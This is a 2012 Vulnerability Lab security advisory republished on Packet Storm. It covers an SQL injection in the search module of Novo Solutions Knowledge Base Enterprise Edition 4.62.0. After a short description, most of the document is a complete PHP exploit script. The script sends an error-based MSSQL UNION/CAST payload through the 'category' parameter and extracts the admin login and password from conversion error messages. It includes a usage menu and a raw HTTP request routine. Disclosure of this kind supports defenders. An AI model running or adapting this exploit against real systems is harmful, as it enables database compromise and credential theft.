Knowledge Base EE 4.62.0 SQL Injection

2012-09-13T00:00:00
ID PACKETSTORM:116492
Type packetstorm
Reporter Karim H.B.
Modified 2012-09-13T00:00:00

Description

                                        
                                            `Title:  
======  
Knowledge Base EE v4.62.0 - SQL Injection Vulnerability  
  
  
Date:  
=====  
2012-09-11  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=702  
  
  
VL-ID:  
=====  
702  
  
  
Common Vulnerability Scoring System:  
====================================  
8.5  
  
  
Introduction:  
=============  
Knowledge Base Software, by Novo Solutions can be used in a variety of in-house and external application settings.   
Our easy-to-use software is an ideal solution for small or Knowledge Base Softwarelarge organizations who need a central   
repository to store information for Customer Support, Company Intranet, Employee Training, Document Management and more.  
  
(copy from vendor website http://www.novosolutions.com/knowledge-base-software )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered a critical sql vulnerability in the Knowledge Base Enterprise Edition v4.62.0.  
  
  
Report-Timeline:  
================  
2012-09-06: Researcher Notification & Coordination  
2012-09-07: Vendor Notification  
2012-00-00: Vendor Response/Feedback  
2012-00-00: Vendor Fix/Patch  
2012-00-00: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
A SQL Injection vulnerability & a misconfiguration are detected in Knowledge Base Enterprise Edition 4.62.0.  
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands   
on the affected application dbms without user inter action. The vulnerabilities are located in search module when processing   
to request the category variable with selcategory argument. Successful exploitation of the vulnerability results in MSSQL dbms   
& ASP application compromise.  
  
Vulnerable File(s):  
[+] doadvancedsearch.asp  
  
Vulnerable Parameter(s):  
[+] category  
  
Condition   
[+] selcategory - must be not NULL  
  
  
Proof of Concept:  
=================  
The sql injection vulnerability can be exploited by remote attackers without user inter action and without privilege user account.  
For demonstration or reproduce ...  
  
Note:  
In this report we have the Clause statement it a little bit hard to exploit it because of 90% non active responses with errors.  
In order to exploit this vulnerability we need to use (CAST OR CONVERT) MSSQL functions to obtain result of our query in Conversion Error messages.  
  
  
Query: CAST(USER_LOGIN AS NVARCHAR(4000)  
Result: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'admin' to data type int.  
  
  
In the proof of concept exploit we have to change and force the query to retrieve users credential from user database requests.  
  
  
<?php  
error_reporting(0);  
/*  
* Software Knowledge Base Enterprise Edition < 4.62.00  
* Database: MS SQL  
* Description   
* Author Kami  
* Email kami@vulnerability-lab.com  
* Website http://www.kami.ma  
* vendor http://www.novosolutions.com/knowledge-base-software/  
* Exploitation-type MSSQL error-based using .  
* Exploitation-technique (CAST OR CONVERT) Via (WHERE or HAVING) clause.  
*/  
  
/* Define Target Informations */  
  
$HOST=$argv[1];   
$URI ="/doadvancedsearch.asp";  
  
/* DATABASE Params */  
  
$TABLE ="USERS";  
$columns=array("USER_LOGIN","USER_PASSWORD");   
$evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- ";  
  
  
  
$Exploit= new Exploitcore();  
  
  
if($argc > 1) {  
echo "\n".'[+] Exploitation Start  
  
\\\  
.------. ///   
(:::::::)(_)():-  
`------° \\\  
Exploit sent ///  
  
'."\n";  
  
if(isset($argv[2]))  
$URI=$argv[2].$URI;  
echo "[+] URL : ".$argv[1].$argv[2]."\n";  
$n=1;  
foreach($columns as $column){  
  
$evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- ";  
  
$evilSQL=str_replace("{column_name}",$column,$evilSQL);  
  
$Payload=array(  
"advsearchwords"=>"sds",  
"selcategory"=>"19",  
"category"=>$evilSQL,  
"operation"=>"%2B",  
"limit"=>25,  
"searchtype"=>1,  
"enableExclude"=>1,  
"enableInclude"=>1,  
"daterange"=>0,  
"id"=>5,  
"btnAdvanced"=>1,  
"Lang=>1");  
  
  
  
echo $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false);  
  
if($Exploit->Retrive_DATA($reply)== null) {  
echo "[-] Error : Target is not vulnerable\n";  
exit(-1);}   
if($n==1){echo "[+] Extracting Data .... \n\n";}  
echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n";  
$n++;  
  
}   
} else $Exploit->Menu();  
  
  
  
  
Class Exploitcore{  
  
var $hostname,$Port,$Uri;  
var $dynamic_payload;  
  
  
  
  
public function Retrive_DATA($reply){  
  
preg_match_all('#kami::(.*?)::ami#',$reply,$res);  
return $res[1][0];  
}  
  
  
public function Menu(){  
  
  
$hello='  
.-"""-.  
/ _ \  
___ | (212) |  
/\````````````"""""""\\\""====---.......,,,,,_______ _ \ ^ /  
\//__________________///__________________)))________)) "-...-"  
  
Advanced __-- SQL --__ injection  
  
Novo Knowledge Base  
  
Credit : Kami  
Email : Kami@vulnerability-lab.com   
Website : www.kami.ma  
  
Usage> php knowledgebase0day.php host  
Exemple> php knowledgebase0day.php kbase.target.com  
Exemple> php knowledgebase0day.php kbase.target.com /foo  
  
';  
  
echo $hello;  
  
}  
  
public function Requestor(   
$verb = 'GET', /* HTTP Request Method (GET and POST supported) */   
$ip, /* Target IP/Hostname */   
$port = 80, /* Target TCP port */   
$uri = '/', /* Target URI */   
$getdata = array(), /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */   
$postdata = array(), /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */   
$cookie = array(), /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */   
$custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */   
$timeout = 1, /* Socket timeout in seconds */   
$req_hdr = true, /* Include HTTP request headers */   
$res_hdr = true /* Include HTTP response headers */   
)   
{   
$ret = '';   
$verb = strtoupper($verb);   
$cookie_str = '';   
$getdata_str = count($getdata) ? '?' : '';   
$postdata_str = '';   
  
foreach ($getdata as $k => $v)   
$getdata_str .= urlencode($k) .'='. urlencode($v) . '&';   
  
foreach ($postdata as $k => $v)   
$postdata_str .= urlencode($k) .'='. urlencode($v) .'&';   
  
foreach ($cookie as $k => $v)   
$cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';   
  
$crlf = "\r\n";   
$req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;   
$req .= 'Host: '. $ip . $crlf;   
$req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;   
$req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;   
$req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;   
$req .= 'Accept-Encoding: deflate' . $crlf;   
$req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;   
  
foreach ($custom_headers as $k => $v)   
$req .= $k .': '. $v . $crlf;   
  
if (!empty($cookie_str))   
$req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;   
  
if ($verb == 'POST' && !empty($postdata_str))   
{   
$postdata_str = substr($postdata_str, 0, -1);   
$req .= 'Connection: Close'. $crlf;   
$req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;   
$req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;   
$req .= $postdata_str;   
  
}   
else { $req .= $crlf; }  
  
if ($req_hdr)   
$ret .= $req;   
  
if (($fp = fsockopen($ip, $port, $errno, $errstr,1)) == false)   
return "Error $errno: $errstr\n";   
  
// stream_set_timeout($fp, 0, $timeout * 1000);   
  
fwrite($fp, $req);   
  
while ($line = fgets($fp)) $ret .= $line;  
  
  
fclose ($fp);  
  
  
  
  
if (!$res_hdr)   
$ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);   
  
return $ret;   
}   
  
}  
  
  
  
Risk:  
=====  
The security risk of the sql injection vulnerability is estimated as high.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com) [www.kami.ma]  
  
  
Disclaimer:  
===========  
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--   
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CONTACT: research@vulnerability-lab.com  
  
`